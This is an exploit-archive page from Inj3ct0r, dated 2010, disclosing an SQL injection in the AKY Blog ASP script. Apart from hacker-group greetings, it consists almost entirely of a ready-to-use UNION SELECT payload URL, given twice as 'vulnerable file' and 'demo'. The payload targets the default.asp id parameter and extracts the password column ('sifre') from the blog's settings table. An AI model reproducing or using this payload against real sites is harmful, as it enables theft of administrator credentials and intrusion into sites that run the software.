<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>AKY Blog SQL Injection Vulnerability</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>====================================
AKY Blog SQL Injection Vulnerability
====================================

Author : Madconfig
Homepage : www.worldhackerz.com
Mail : admin[at]worldhackerz[dot].com
Script : http://www.aspindir.com/indir.asp?ID=5954&amp;sIslem=Indir
Risk : No Risk Just Enjoy
Dork : :/ sorry

===================================================

[+] Vulnerable File :

http://www.site.com/default.asp?islem=devami&amp;id=38%20union+select+all+0,

sifre,2,3%20,4,5+from+aky_ayarlar

===================================================

[+] Demo :

http://www.site.com/blog/default.asp?islem=devami&amp;id=38%20union+s

elect+all+0,sifre,2,3%20,4,5+from+aky_ayarlar

===================================================

Greetz : Mezar,v0calist ,PaLa , By.ege, StreetCoder , AnqelHacker,M0sted

and all www.worldhackerz.com Member

===================================================

# Turkish P0wer

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-07-24]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/13463